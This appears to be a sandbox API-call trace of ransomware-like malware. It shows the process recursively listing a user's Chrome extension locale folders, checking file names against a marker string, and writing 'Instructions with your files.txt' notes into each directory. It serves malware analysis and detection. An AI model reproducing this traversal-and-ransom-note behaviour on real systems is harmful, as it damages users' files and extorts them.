[0129.309] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\manifest.json") returned 145
[0129.309] StrStrIW (lpFirst="manifest.json", lpSrch="SDfghjkl") returned 0x0
[0129.309] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x851f1e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85348a70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85348a70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_locales", cAlternateFileName="")) returned 1
[0129.309] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales") returned 140
[0129.309] GetProcessHeap () returned 0x810000
[0129.309] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8dcc28
[0129.310] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\*") returned 142
[0129.310] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\*", lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x851f1e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85348a70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85348a70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876eb8
[0129.312] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\.") returned 142
[0129.312] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x851f1e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85348a70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85348a70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.312] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\..") returned 143
[0129.312] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x851f1e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x851f1e10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x851f1e10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar", cAlternateFileName="")) returned 1
[0129.312] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ar") returned 143
[0129.312] GetProcessHeap () returned 0x810000
[0129.312] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.313] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ar\\*") returned 145
[0129.313] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ar\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x851f1e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x851f1e10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x851f1e10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.313] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ar\\.") returned 145
[0129.313] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x851f1e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x851f1e10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x851f1e10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.313] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ar\\..") returned 146
[0129.313] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x851f1e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x851f1e10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.313] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ar\\messages.json") returned 157
[0129.313] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.313] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x851f1e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x851f1e10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.313] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ar\\Instructions with your files.txt") returned 176
[0129.313] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ar\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ar\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.314] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.315] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.315] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.315] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.315] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.315] CloseHandle (hObject=0x134) returned 1
[0129.315] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.315] GetProcessHeap () returned 0x810000
[0129.315] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.315] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x851f1e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x851f1e10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x851f1e10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg", cAlternateFileName="")) returned 1
[0129.315] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg") returned 143
[0129.315] GetProcessHeap () returned 0x810000
[0129.315] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.315] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg\\*") returned 145
[0129.315] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x851f1e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x851f1e10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x851f1e10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.316] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg\\.") returned 145
[0129.316] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x851f1e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x851f1e10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x851f1e10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.316] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg\\..") returned 146
[0129.316] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x851f1e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x851f1e10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.316] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg\\messages.json") returned 157
[0129.316] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.316] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x851f1e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x851f1e10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.316] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg\\Instructions with your files.txt") returned 176
[0129.316] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\bg\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.317] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.318] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.318] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.318] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.318] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.318] CloseHandle (hObject=0x134) returned 1
[0129.318] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.318] GetProcessHeap () returned 0x810000
[0129.318] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.318] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x851f1e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x851f1e10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x851f1e10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca", cAlternateFileName="")) returned 1
[0129.318] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ca") returned 143
[0129.318] GetProcessHeap () returned 0x810000
[0129.318] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.318] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ca\\*") returned 145
[0129.318] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ca\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x851f1e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x851f1e10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x851f1e10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.319] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ca\\.") returned 145
[0129.319] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x851f1e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x851f1e10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x851f1e10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.319] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ca\\..") returned 146
[0129.319] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x851f1e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x851f1e10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.319] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ca\\messages.json") returned 157
[0129.319] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.319] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x851f1e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x851f1e10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xb3, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.319] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ca\\Instructions with your files.txt") returned 176
[0129.319] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ca\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ca\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.319] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.320] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.320] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.320] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.321] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.321] CloseHandle (hObject=0x134) returned 1
[0129.321] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.321] GetProcessHeap () returned 0x810000
[0129.321] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.321] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85217f70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85217f70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85217f70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs", cAlternateFileName="")) returned 1
